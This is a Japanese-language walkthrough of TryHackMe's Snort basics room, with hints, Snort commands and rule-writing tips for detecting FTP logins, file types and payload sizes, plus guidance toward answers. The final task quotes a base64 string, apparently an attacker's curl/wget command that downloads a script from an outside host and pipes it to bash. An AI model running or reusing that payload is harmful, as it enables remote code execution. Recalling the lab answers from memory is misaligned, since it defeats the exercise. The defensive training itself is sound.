[THM][Note] Snort Challenge – The Basics
https://tryhackme.com/room/snortchallenges1
Task2
What is the number of detected packets?
考え方
alert tcp any 80 <> any 80 (msg:"HTTP"; sid:1000001; rev:1;)
この様に書きたくなるが間違い。
80番ポートから80番ポート宛の通信が対象となり、アラートは0件となる。さて、双方向の80番ポートを全て抽出したい場合は、どの様に書けばいいだろうか?
ヒント、2行で書きます。
What is the destination address of packet 63?
考え方
- 1つ前の問題で作成したルールファイルを元に進めていきます。
- 63番目を見たい場合、どんなオプションが有効か?
- -ve オプションを覚えているか?
sudo snort -c local.rules -ve -r mx-3.pcap -n 63

What is the SEQ number of packet 62?
問題が間違っている
THMあるある。勘弁してほしい。。。
sudo snort -c local.rules -n62 -dev -r mx-3.pcap

Seqナンバーではなくて、Ackナンバーが正解。
Task3
What is the FTP service name?
考え方
頑張って、Berkeley Packet FIleter(BPF)を思い出す。
sudo snort -r snort.log.1685430733 -d "tcp and port 21" -n 10
結果から頑張って、サービスソフト名っぽい文字列を探す。

Write a rule to detect failed FTP login attempts in the given pcap. What is the number of detected packets?
Write a rule to detect successful FTP logins in the given pcap. What is the number of detected packets?
Write a rule to detect failed FTP login attempts with a valid username but a bad password or no password. What is the number of detected packets
考え方
- 実際にFTPのログインに失敗するとどの様なデータが流れるか?ヒントをクリックして見てみよう。
- contentを使う練習をしよう。
実際のログの結果はこんな感じ。

Write a rule to detect failed FTP login attempts with “Administrator” username but a bad password or no password. What is the number of detected packets?
考え方
- まず「Administrator」でcontentを指定して全体でどれだけあるか確認をしてみよう。
- 次に以下のようにルールを2つ作ろう。contentは複数指定するとAND検索になる。
- Administratorかつ、530(パスワード間違い)
- Adninistratorかつ、331(パスワードが空)
Task4
Investigate the logs and identify the software name embedded in the packet.
考え方
- contentに「png」を指定すると、ファイル名やURLが含まれているパケットの抽出ができる。
- がしかし、ファイルの中に定義されているファイルタイプの中身には引っかからない。
- 問題の画像ファイルのソフトウェアの情報は、ファイル名やURLには含まれていない。
- ソフトウェア情報を見たい場合は、ファイルの中身で引っ掛けてダンプする必要がある。
- ファイルタイプはバイナリで引っ掛ける。以下を参考にする。
- https://en.wikipedia.org/wiki/List_of_file_signatures
- contentを文字列指定ではなく、バイナリ検索として使用してルールを作成する。
手順
ルールを元にlogファイルの作成
$ sudo snort -c local.rules -dev -l . -r ftp-png-gif.pcap

作成されたログファイルをダンプ
$ sudo snort -d -r snort.log.1685584432

Investigate the logs and identify the image format embedded in the packet.
考え方
1つ前の問題と考え方も手順も同じ。しかしファイル形式のバイナリ一覧にGIFは2つあるので、注意。

Task5
What is the name of the torrent application?
考え方
torrentのアプリケーションには、いくつかある。BitTorrent、uTorrent、qBittorent・・・。さて今回は?
Task6
Fix the syntax error in local-5.rules file and make it work smoothly.What is the number of the detected packets?
考え方
- 構文エラーが出ている行の、msgが「Inbound ICMP Packet Found」となっているので、インバウンドのICMPのパケットを検知したいのかと思い混乱する。問題が良くないと思う。
- msgが、「Outbound ICMP Packet Found」となっていればすんなりクリア。
Fix the logical error in local-6.rules file and make it work smoothly to create alerts. What is the number of the detected packets?
考え方
- 67 65 74 => get
- HTTP Requestのゲットは、小文字ではなくて大文字だよ。以下をみて修正
https://www.k-cube.co.jp/wakaba/server/ascii_code.html
Fix the logical error in local-7.rules file and make it work smoothly to create alerts. What is the name of the required option:
考え方
- 実行してもエラーは出ないけど、いつも必ず入れていてた、オプションはなんだったか?を考える。
- 本当はエラーが出た気がする。。。
Task8
How many rules were triggered?.
考え方
- いつものように、alertファイルを作成する
- alertファイルにはルールに引っかかったパケットの情報がルールファイルで定義したmsgやsidで記録されている。
- ルールに紐付いている唯一のIDは、sid。
- なので、アラートファイルからsidを用いて行を抽出し、それをユニークすることで答を導ける。
$ cat alert
以下のsidの部分が使える。

ヒント

Use local-1.rules empty file to write a new rule to detect packet payloads between 770 and 855 bytes. What is the number of detected packets?
考え方
- 今まで使用してきたルールの中にはヒントがない。
- dsizeで検索!
What is the name of the used encoding algorithm?
考え方
- 1つ前のタスクで生成した、snort.logファイルをダンプする。
- 内容をよく見る。

What is the IP ID of the corresponding packet?

What is the attacker’s command?
考え方
以下の文字列をログから抽出してくれば、クリアしたも同然
GN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNjIuMC4yMjguMjUzOjgwfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzE2Mi4wLjIyOC4yNTM6ODApfGJhc2g=